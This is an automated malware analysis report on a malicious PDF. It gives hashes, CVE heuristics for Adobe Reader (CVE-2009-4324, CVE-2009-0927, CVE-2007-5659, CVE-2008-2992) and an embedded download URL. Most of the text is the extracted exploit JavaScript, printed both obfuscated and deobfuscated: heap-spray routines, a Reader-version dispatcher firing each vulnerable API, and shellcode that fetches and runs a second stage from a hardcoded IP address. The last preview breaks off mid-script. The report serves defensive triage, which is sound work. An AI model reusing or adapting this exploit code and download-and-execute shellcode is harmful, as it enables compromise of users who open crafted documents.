Malicious PDF — malware analysis report

Static analysis result for SHA-256 208871f2ea8ed57c…

MALICIOUS

PDF

12.3 KB First seen: 2026-05-07
MD5: 1d43adf620d8ddf9533368575be8142e SHA-1: 458e954a9784d63561eb7d056d3c964eb529c3d0 SHA-256: 208871f2ea8ed57c2c41daaa8eb2d52b92153f815c91ab6264d352e1e213f310
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple CVEs (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) to execute arbitrary code. The recovered JavaScript stage explicitly contains a URL, 'http://66.199.229.50/w.php?f=0&e=5', which is used to download a secondary payload. This indicates a classic exploit kit delivery mechanism.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=0&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11526 bytes
SHA-256: fcd5baf81182ca0711fec7a34418d501878933ba8ae7477878e7ec9ad0270d22
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(75,63,60,72,60,64,54,64,13,13,25,8,56,66,40,64,5,16,57,9,18,18,5,16,63,58,72,48,5,16,57,20,63,58,5,16,67,20,72,48,5,16,72,61,9,48,5,16,9,9,20,63,5,16,18,48,58,71,5,16,48,71,57,25,5,16,57,25,9,71,5,16,71,58,48,71,5,16,67,71,57,25,5,16,20,18,54,58,5,16,67,18,57,25,5,16,9,9,71,57,5,16,18,18,34,25,5,16,20,72,57,25,5,16,71,9,9,58,5,16,9,9,67,48,5,16,57,54,36,58,5,16,54,20,72,72,5,16,63,63,54,71,5,16,25,57,63,63,5,16,48,71,57,25,5,16,58,9,9,71,5,16,9,61,48,18,5,16,67,20,71,18,5,16,57,67,63,25,5,16,36,48,9,48,5,16,72,48,57,20,5,16,20,54,67,20,5,16,72,25,72,61,5,16,20,54,48,58,5,16,57,25,20,18,5,16,9,58,67,20,5,16,67,48,57,25,5,16,67,57,9,20,5,16,63,20,71,9,5,16,57,25,20,18,5,16,36,71,67,18,5,16,63,20,71,9,5,16,58,61,9,9,5,16,48,54,48,61,5,16,23,34,63,58,5,16,58,20,71,9,5,16,34,25,9,9,5,16,25,72,71,63,5,16,9,57,54,71,5,16,67,48,63,36,5,16,58,54,71,57,5,16,71,34,58,25,5,16,34,23,71,9,5,16,72,25,48,71,5,16,9,25,63,54,5,16,67,20,54,63,5,16,20,72,72,18,5,16,20,72,57,25,5,16,71,9,36,48,5,16,18,18,34,34,5,16,71,58,57,25,5,16,57,34,48,25,5,16,72,58,48,18,5,16,20,48,63,63,5,16,71,58,36,48,5,16,34,57,57,25,5,16,34,34,71,9,5,16,71,48,57,25,5,16,71,9,57,25,5,16,23,25,58,20,5,16,20,61,20,72,5,16,72,25,58,9,5,16,23,34,20,9,5,16,18,57,57,25,5,16,57,71,36,71,5,16,71,58,67,34,5,16,67,48,9,9,5,16,61,18,71,9,5,16,63,9,72,25,5,16,18,57,57,25,5,16,57,25,71,57,5,16,18,23,63,67,5,16,20,61,71,20,5,16,61,57,72,57,5,16,63,63,63,63,5,16,72,36,63,63,5,16,72,57,63,61,5,16,71,71,71,71,5,16,71,71,71,71,5,16,20,71,20,57,5,16,48,71,18,23,5,16,63,63,18,57,5,16,71,71,71,71,5,16,20,71,71,71,5,16,58,71,57,9,5,16,20,71,54,61,5,16,57,25,20,20,5,16,57,25,72,58,5,16,54,71,20,72,5,16,58,9,57,9,5,16,63,63,71,20,5,16,18,57,72,9,5,16,18,72,18,63,5,16,71,71,71,71,5,16,67,20,18,57,5,16,18,58,67,36,5,16,20,48,18,34,5,16,54,18,63,63,5,16,58,48,57,9,5,16,57,25,71,57,5,16,72,57,72,57,5,16,63,63,18,54,5,16,63,63,63,63,5,16,71,36,72,25,5,16,67,36,72,25,5,16,72,58,57,54,5,16,71,54,71,48,5,16,71,71,71,71,5,16,20,58,57,34,5,16,71,58,36,48,5,16,71,48,58,67,5,16,67,36,36,48,5,16,18,67,18,20,5,16,58,67,67,9,5,16,36,48,48,48,5,16,67,18,71,48,5,16,9,9,67,36,5,16,58,67,9,36,5,16,36,48,48,48,5,16,36,71,71,57,5,16,67,9,36,34,5,16,20,9,36,71,5,16,63,57,18,57,5,16,71,71,71,71,5,16,63,63,71,71,5,16,71,58,20,18,5,16,72,57,57,25,5,16,58,61,9,9,5,16,58,67,20,54,5,16,54,34,48,48,5,16,67,67,71,71,5,16,18,36,67,71,5,16,58,67,67,48,5,16,54,34,48,48,5,16,36,72,71,20,5,16,18,58,18,48,5,16,58,18,18,58,5,16,54,34,48,48,5,16,71,71,71,61,5,16,57,23,20,61,5,16,71,48,58,54,5,16,57,57,9,71,5,16,54,34,48,48,5,16,48,54,71,48,5,16,18,23,20,54,5,16,18,23,71,71,5,16,20,9,71,71,5,16,18,23,20,67,5,16,63,63,71,71,5,16,54,48,20,18,5,16,58,71,57,20,5,16,54,18,67,20,5,16,71,71,18,23,5,16,63,63,20,9,5,16,71,48,20,18,5,16,71,71,18,23,5,16,72,25,57,9,5,16,20,9,71,58,5,16,20,18,63,63,5,16,57,9,71,48,5,16,71,58,58,9,5,16,71,36,72,25,5,16,54,9,72,25,5,16,57,71,48,67,5,16,71,71,9,63,5,16,63,23,67,20,5,16,57,71,48,67,5,16,71,71,9,63,5,16,58,48,67,20,5,16,71,71,18,23,5,16,63,72,18,23,5,16,20,18,63,63,5,16,72,57,71,57,5,16,63,72,61,58,5,16,63,63,63,63,5,16,48,72,57,72,5,16,72,58,71,72,5,16,63,72,61,57,5,16,71,72,57,23,5,16,18,63,57,61,5,16,25,34,71,54,5,16,58,23,9,9,5,16,20,25,57,23,5,16,58,18,54,25,5,16,67,61,48,18,5,16,54,23,9,18,5,16,67,71,36,63,5,16,67,48,18,57,5,16,67,71,67,48,5,16,36,63,9,23,5,16,9,18,36,63,5,16,36,72,9,18,5,16,9,61,9,54,5,16,36,72,9,61,5,16,9,36,9,36,5,16,36,72,9,61,5,16,9,71,9,20,5,16,67,67,36,63,5,16,67,71,36,72,5,16,67,71,18,57,5,16,18,18,9,63,5,16,9,71,9,34,5,16,18,20,36,18,5,16,9,20,9,34,5,16,71,71,71,71,64,53,63,16,0,58,38,75,45,0,59,72,44,51,49,60,49,23,7,21,33,13,74,29,11,75,4,72,60,49,23,1,4,72,0,66,38,11,43,36,52,21,33,13,74,49,23,65,40,49,23,53,32,49,23,40,49,23,1,56,16,25,56,38,49,75,0,66,60,71,7,21,33,14,36,13,53,49,72,38,16,49,0,59,49,23,53,32,59,63,16,0,58,38,75,45,0,59,25,2,60,13,74,51,23,49,59,34,68,66,40,0,72,29,59,47,49,49,23,33,60,13,53,51,23,49,59,51,29,40,71,2,71,58,71,58,71,58,71,58,53,51,23,49,59,23,34,34,49,40,71,2,48,71,71,71,71,71,53,51,23,49,59,39,23,33,4,45,23,34,40,16,0,72,56,58,23,39,72,60,25,8,56,66,13,53,51,23,49,59,56,58,35,4,72,0,40,39,23,33,4,45,23,34,1,4,72,0,66,38,11,43,36,53,51,23,49,59,21,33,40,23,34,34,49,70,60,56,58,35,4,72,0,65,71,2,9,57,13,53,51,23,49,59,33,23,49,56,39,40,16,0,72,56,58,23,39,72,60,42,5,16,61,71,61,71,5,16,61,71,61,71,42,13,53,33,23,49,56,39,40,72,44,51,49,60,33,23,49,56,39,7,21,33,13,53,51,23,49,59,58,45,16,0,38,36,40,60,51,29,70,71,2,48,71,71,71,71,71,13,14,23,34,34,49,53,63,45,49,60,51,23,49,59,58,45,16,0,38,40,71,53,58,45,16,0,38,52,58,45,16,0,38,36,53,58,45,16,0,38,65,65,13,74,34,68,66,26,58,45,16,0,38,55,40,33,23,49,56,39,65,39,23,33,4,45,23,34,53,32,59,51,23,49,59,45,51,72,49,63,4,45,29,40,16,0,72,56,58,23,39,72,60,42,5,16,71,58,71,58,5,16,71,58,71,58,42,13,53,29,11,75,4,72,60,45,51,72,49,63,4,45,29,1,4,72,0,66,38,11,52,48,48,61,20,36,13,74,45,51,72,49,63,4,45,29,65,40,45,51,72,49,63,4,45,29,53,32,59,38,11,75,56,1,58,45,4,4,23,25,24,38,45,49,72,40,50,45,4,4,23,25,1,58,45,4,4,72,58,38,15,10,23,75,4,30,0,63,45,60,74,56,16,25,8,62,42,42,7,10,56,66,62,45,51,72,49,63,4,45,29,32,13,53,32,59,63,16,0,58,38,75,45,0,59,39,49,75,0,38,63,60,13,74,0,45,39,40,16,0,72,56,58,23,39,72,60,42,5,16,71,47,71,47,5,16,71,47,71,47,5,16,71,47,71,47,5,16,71,47,71,47,42,13,53,51,23,49,59,39,23,33,4,45,23,34,40,16,0,72,56,58,23,39,72,60,25,8,56,66,13,53,11,72,23,39,25,4,45,58,68,40,0,45,39,65,39,23,33,4,45,23,34,53,25,75,66,25,4,45,58,68,40,16,0,72,56,58,23,39,72,60,42,5,16,71,47,71,47,5,16,71,47,71,47,42,13,53,11,72,23,34,72,49,56,75,44,72,40,36,71,53,56,39,49,23,33,40,11,72,23,34,72,49,56,75,44,72,65,11,72,23,39,25,4,45,58,68,1,4,72,0,66,38,11,53,29,11,75,4,72,60,25,75,66,25,4,45,58,68,1,4,72,0,66,38,11,52,56,39,49,23,33,13,74,25,75,66,25,4,45,58,68,65,40,25,75,66,25,4,45,58,68,53,32,59,63,75,4,4,25,4,45,58,68,40,25,75,66,25,4,45,58,68,1,56,16,25,56,38,49,75,0,66,60,71,7,56,39,49,23,33,13,53,25,4,45,58,68,40,25,75,66,25,4,45,58,68,1,56,16,25,56,38,49,75,0,66,60,71,7,25,75,66,25,4,45,58,68,1,4,72,0,66,38,11,70,56,39,49,23,33,13,53,29,11,75,4,72,60,25,4,45,58,68,1,4,72,0,66,38,11,65,56,39,49,23,33,52,71,2,48,71,71,71,71,13,74,25,4,45,58,68,40,25,4,45,58,68,65,25,4,45,58,68,65,63,75,4,4,25,4,45,58,68,53,32,59,10,72,10,40,0,72,29,59,47,49,49,23,33,60,13,53,63,45,49,60,75,40,71,53,75,52,54,48,71,71,53,75,65,65,13,74,10,72,10,26,75,55,40,25,4,45,58,68,65,11,72,23,39,25,4,45,58,68,53,32,59,51,23,49,59,0,16,10,40,54,36,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,57,53,16,38,75,4,1,39,49,75,0,38,63,60,42,5,48,20,71,71,71,63,42,7,0,16,10,13,53,32,59,63,16,0,58,38,75,45,0,59,66,72,38,75,58,45,0,60,13,74,51,23,49,59,23,49,49,33,40,0,72,29,59,47,49,49,23,33,60,13,53,75,63,60,23,39,39,1,34,45,58,1,50,45,4,4,23,25,1,66,72,38,30,58,45,0,13,74,51,23,49,59,39,23,33,4,45,23,34,40,16,0,72,56,58,23,39,72,60,25,8,56,66,13,53,51,23,49,59,11,6,21,20,71,71,50,19,40,39,23,33,4,45,23,34,1,4,72,0,66,38,11,43,36,53,51,23,49,59,21,33,40,71,2,48,71,71,71,71,71,70,60,11,6,21,20,71,71,50,19,65,71,2,9,57,13,53,51,23,49,59,33,23,49,56,39,40,16,0,72,56,58,23,39,72,60,42,5,16,61,71,61,71,5,16,61,71,61,71,42,13,53,33,23,49,56,39,40,72,44,51,49,60,33,23,49,56,39,7,21,33,13,53,51,23,49,59,39,20,47,8,28,18,20,63,40,60,71,2,71,58,71,58,71,58,71,58,70,71,2,48,71,71,71,71,71,13,14,71,2,48,71,71,71,71,71,53,63,45,49,60,51,23,49,59,51,21,58,41,27,61,18,33,40,71,53,51,21,58,41,27,61,18,33,52,39,20,47,8,28,18,20,63,53,51,21,58,41,27,61,18,33,65,65,13,74,23,49,49,33,26,51,21,58,41,27,61,18,33,55,40,33,23,49,56,39,65,39,23,33,4,45,23,34,53,32,59,51,23,49,59,38,31,22,11,19,25,69,29,40,16,0,72,56,58,23,39,72,60,42,5,71,61,42,13,53,29,11,75,4,72,60,38,31,22,11,19,25,69,29,1,4,72,0,66,38,11,52,71,2,48,71,71,71,13,74,38,31,22,11,19,25,69,29,65,40,38,31,22,11,19,25,69,29,53,32,59,38,31,22,11,19,25,69,29,40,42,19,1,42,65,38,31,22,11,19,25,69,29,53,23,39,39,1,34,45,58,1,50,45,4,4,23,25,1,66,72,38,30,58,45,0,60,38,31,22,11,19,25,69,29,13,53,32,32,59,23,17,4,16,66,75,0,56,40,23,39,39,1,39,4,16,66,30,0,56,53,51,23,49,59,56,51,40,39,23,49,56,72,30,0,38,60,23,39,39,1,51,75,72,29,72,49,46,72,49,56,75,45,0,1,38,45,24,38,49,75,0,66,60,13,1,58,11,23,49,47,38,60,71,13,13,53,63,45,49,60,51,23,49,59,75,40,71,53,75,52,23,17,4,16,66,75,0,56,1,4,72,0,66,38,11,53,75,65,65,13,74,75,63,60,23,17,4,16,66,75,0,56,26,75,55,1,0,23,10,72,40,40,64,15,24,58,49,75,39,38,64,13,74,51,23,49,59,4,51,40,23,17,4,16,66,75,0,56,26,75,55,1,51,72,49,56,75,45,0,53,32,32,59,75,63,60,60,4,51,40,40,61,13,73,73,60,60,56,51,40,40,57,13,12,12,60,4,51,52,40,57,1,54,36,13,13,13,74,66,72,38,75,58,45,0,60,13,53,32,72,4,56,72,59,75,63,60,4,51,40,40,67,1,54,13,74,39,49,75,0,38,63,60,13,53,32,72,4,56,72,59,75,63,60,60,60,56,51,40,40,18,13,73,73,60,56,51,40,40,67,13,13,12,12,60,4,51,52,67,1,54,54,13,13,74,25,2,60,13,53,32,72,4,56,72,59,75,63,60,60,4,51,37,40,61,1,54,13,73,73,60,4,51,52,40,61,1,36,13,73,73,60,4,51,37,40,57,1,54,9,13,73,73,60,4,51,52,40,57,1,54,67,13,13,74,63,16,0,58,38,75,45,0,59,23,60,13,74,16,38,75,4,1,39,49,75,0,38,34,60,64,39,3,54,54,54,54,54,54,54,54,54,54,54,54,54,54,54,54,54,54,54,54,54,54,54,54,59,62,59,33,33,33,33,54,54,54,64,7,0,72,29,59,27,23,38,72,60,13,13,53,32,51,23,49,59,11,40,23,39,39,1,39,4,16,66,30,0,56,53,63,45,49,60,51,23,49,59,63,40,71,53,63,52,11,1,4,72,0,66,38,11,53,63,65,65,13,74,75,63,60,11,26,63,55,1,0,23,10,72,40,40,64,15,24,58,49,75,39,38,64,13,74,51,23,49,59,75,40,11,26,63,55,1,51,72,49,56,75,45,0,53,32,32,59,75,63,60,60,75,37,57,1,54,36,13,12,12,60,75,52,57,1,36,13,13,74,58,40,0,72,29,59,47,49,49,23,33,60,13,53,51,23,49,59,34,40,16,0,72,56,58,23,39,72,60,64,5,16,61,71,61,71,5,16,61,71,61,71,64,13,53,51,23,49,59,72,40,16,0,72,56,58,23,39,72,60,25,8,56,66,13,53,29,11,75,4,72,60,34,1,4,72,0,66,38,11,52,40,71,2,57,71,71,71,13,74,34,65,40,34,53,32,34,40,34,1,56,16,25,56,38,49,60,71,7,71,2,57,71,71,71,70,72,1,4,72,0,66,38,11,13,53,63,45,49,60,63,40,71,53,63,52,36,61,71,71,53,63,65,65,13,74,58,26,63,55,40,34,65,72,53,32,23,60,13,53,23,60,13,53,38,49,33,74,38,11,75,56,1,10,72,34,75,23,1,0,72,29,17,4,23,33,72,49,60,0,16,4,4,13,53,32,58,23,38,58,11,60,72,13,74,32,23,60,13,53,32,32);
a=new String("n.x@l%W,j3mh&)/EuP6N5qMaSb[DKwIU}yd_2>tp=Q'*zoVA4rCv<;1]s8c (9:f'+g7kG-0e|{i");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3852 bytes
SHA-256: ac49a6e2e2d69b011b8fd04bfad5a416707a95eb4b86ca8a17173c3c97d1867e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u303d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3848 bytes
SHA-256: 083419797fd631b2b0ea988a2994f56c8981bf09e53bf14f14b5522cced7d1de
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u303d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 